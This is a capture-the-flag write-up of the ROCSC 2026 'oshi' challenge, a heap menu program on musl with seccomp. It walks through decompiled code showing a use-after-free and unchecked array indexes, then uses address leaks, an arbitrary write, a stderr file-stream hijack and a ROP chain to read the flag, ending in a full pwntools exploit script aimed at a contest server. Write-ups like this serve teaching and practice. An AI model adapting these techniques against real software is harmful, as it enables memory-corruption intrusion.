ROCSC 2026 - oshi
The ROCSC quals of 2026 sure was an experience, most of the challenges were AIable from the start, and the 2 of them which weren’t at the beginning (fifteenminutes from my friend KLPP, and oshi from my friend Luma, which I’ll be talking about today) became quickly after the AI indexed some chats from players. After the top 11 were locked in (kudos to them), it mostly became an AI race to see who would finish faster, I managed to score 1st :p

Now let’s get to the challenge, which presents us with a classic heap menu with abilities to malloc, free, edit, and show. Usually, heap exploitation is done on glibc, which uses its ptmalloc allocator; however, this time we are on musl, which uses another allocator. I won’t go into detail as I solved this challenge black box, so information about it was not needed.
Another thing to note is that seccomp was enabled, which meant we couldn’t do the usual system('/bin/sh') and we had to use ORW (open + read + write) to access the flag.

There is a bug in the function that does the frees, which leads to an UAF; however, there was a bigger vulnerability, so this one wasnt needed during exploitation, but it is good to note
int delete()
{
__int64 v0; // rax
int idx; // [rsp+Ch] [rbp-4h]
showf("Index: ");
LODWORD(v0) = read_number();
idx = v0;
if ( (int)v0 >= 0 )
{
v0 = *((_QWORD *)&chunk_array + (int)v0);
if ( v0 )
{
free(*((void **)&chunk_array + idx));
LODWORD(v0) = puts("Freed.");
// pointer isnt 0'd here, we can access it again using free/show/edit
}
}
return v0;
}
The massive bug in this challenge was that show and edit didn’t have any upper bounds checks on the index you were using in the array. This means that you could print and edit using pointers past the normal max index of 15.
// the read_number function had no upper bounds checks
unsigned __int64 read_number()
{
char s[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(s, 0, 0x20uLL);
read(0, s, 0x1FuLL);
return strtoul(s, 0LL, 0);
}
int __fastcall show(_DWORD *a1)
{
__int64 v1; // rax
int v3; // [rsp+1Ch] [rbp-4h]
if ( *a1 )
{
LODWORD(v1) = puts("Error: Prints exceeded.\n");
}
else
{
printf("Index: ");
LODWORD(v1) = read_number();
v3 = v1;
if ( (int)v1 >= 0 ) // no upper bounds checks here either
{
v1 = *((_QWORD *)&chunk_array + (int)v1);
if ( v1 )
{
printf("Data: ");
write(1, *((const void **)&chunk_array + v3), sizes_array[v3] & 0xFFFLL);
putchar(10);
LODWORD(v1) = (_DWORD)a1;
*a1 = 1;
}
}
}
return v1;
}
int edit()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
printf("Index: ");
LODWORD(v0) = read_number();
v2 = v0;
if ( (int)v0 >= 0 ) // no upper bounds checks here either
{
v0 = *((_QWORD *)&chunk_array + (int)v0);
if ( v0 )
{
printf("New Content: ");
read(0, *((void **)&chunk_array + v2), sizes_array[v2] & 0xFFFLL);
LODWORD(v0) = puts("Edited.");
}
}
return v0;
}
Checking with gdb, we can see that at offset 16, there is a pointer that points to a lot of addresses, meaning we can leak useful addresses.

From here, we can get the following leaks:
- pie leak, useful if we want to use functions from the binary
- TLS leak, since TLS was near libc, this also resulted in a libc leak (very useful)
- chunk address leak (explained below)
Ok, now that we know everything about memory, we need to somehow get an arb write. If you look back at the gdb photo, you can see we allocated a chunk which landed in the bss. This means that we can reach values in that chunk with the OOB index quite easily since we know its offset.
Why does this help us? Well, we can write pointers in that chunk to write into using the edit function, achieving an arb write (see code below)
start_of_array = pie_base + 0x40e0 # array that we have OOB in
offset = (start_of_chunk - start_of_array) // 8
print(offset)
offset += 0x10 # point to somewhere later in chunk as size is -0x80 from pointer
def arb_write(target, value):
edit(0, b'A' * 0x80 + p64(target))
edit(offset, value)
Now, how to bypass the seccomp from before?
We can use the technique described in this blog from 2023. A stderr fsop allows us to call anything, and the longjmp gadget is perfect for redirecting execution to where we want. This means that we can write a ROP in the bss of libc / binary and then stack pivot to it at exit. This looks like this in python
arb_write(stderr + 0x28, p64(0xdeadbeef))
arb_write(stderr + 0x48, p64(longjmp))
arb_write(stderr + 0x30, p64(rop_chain_addr))
arb_write(stderr + 0x38, p64(ret))
# also write the rop chain
for i in range(0,len(rop_chain),8):
arb_write(rop_chain_addr+i-0x10, rop_chain[i:i+8]) # write at -0x10 because we store flag path before rop chain
Full solver
from pwn import *
context.log_level = 'critical'
context.binary = binary = './main'
elf = ELF(binary)
host, port = '34.141.80.74', 30872
def newp():
if args.REMOTE:
return remote(host, port)
return process(elf.path)
def create(idx, sz, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendlineafter(b'Size: ', str(sz).encode())
p.sendafter(b'Content: ', data)
def delete(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', str(idx).encode())
def show(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', str(idx).encode())
p.recvuntil(b'Data: ')
def edit(idx, data):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendafter(b'Content: ', data)
p = newp()
create(0, 0x100, b'A' * 0x100)
show(16)
leak = p.recvuntil(b'1. ')
heap_base = u64(leak[0:8]) - 0x18
print(hex(heap_base))
pie_leak = u64(leak[0x10:0x18])
pie_base = pie_leak - 0x4160
print(hex(pie_base))
libc_leak = u64(leak[0xb0:0xb8])
libc_base = libc_leak - 0xaff40
print(hex(libc_base))
start_of_chunk = u64(leak[0x38:0x40]) + 0x20
print(f'chunk start {hex(start_of_chunk)}')
start_of_array = pie_base + 0x40e0
offset = (start_of_chunk - start_of_array) // 8
print(offset)
offset += 0x10 # point to somewhere in chunk as size is -0x80 from pointer
def arb_write(target, value):
edit(0, b'A' * 0x80 + p64(target))
edit(offset, value)
stderr = libc_base + 0xad080
longjmp = libc_base + 0x789d7
rop_chain_addr = libc_base + 0xadc00 # a random writeable place in libc that was filled with 0
ret = libc_base + 0x00000000000152a2
arb_write(stderr + 0x28, p64(0xdeadbeef))
arb_write(stderr + 0x48, p64(longjmp))
arb_write(stderr + 0x30, p64(rop_chain_addr))
arb_write(stderr + 0x38, p64(ret))
pop_rax = libc_base + 0x0000000000016a86
pop_rdi = libc_base + 0x00000000000152a1
pop_rsi = libc_base + 0x000000000001b0a1
syscall_ret = libc_base + 0x0000000000021270
pop_rdx = libc_base + 0x000000000002a50b
writeable = rop_chain_addr - 0x100
rop_chain = b'flag.txt' + b'\x00' * 8 + p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(rop_chain_addr - 0x10) + p64(pop_rsi) + p64(0) + p64(syscall_ret) + p64(pop_rdi) + p64(3) + p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(writeable) + p64(pop_rax) + p64(0) + p64(syscall_ret) + p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(writeable) + p64(pop_rdx) + p64(0x100) + p64(syscall_ret)
# also write the rop chain
for i in range(0,len(rop_chain),8):
arb_write(rop_chain_addr+i-0x10, rop_chain[i:i+8]) # write at -0x10 because we store flag path before rop chain
p.sendlineafter(b'>',b'5')
p.interactive()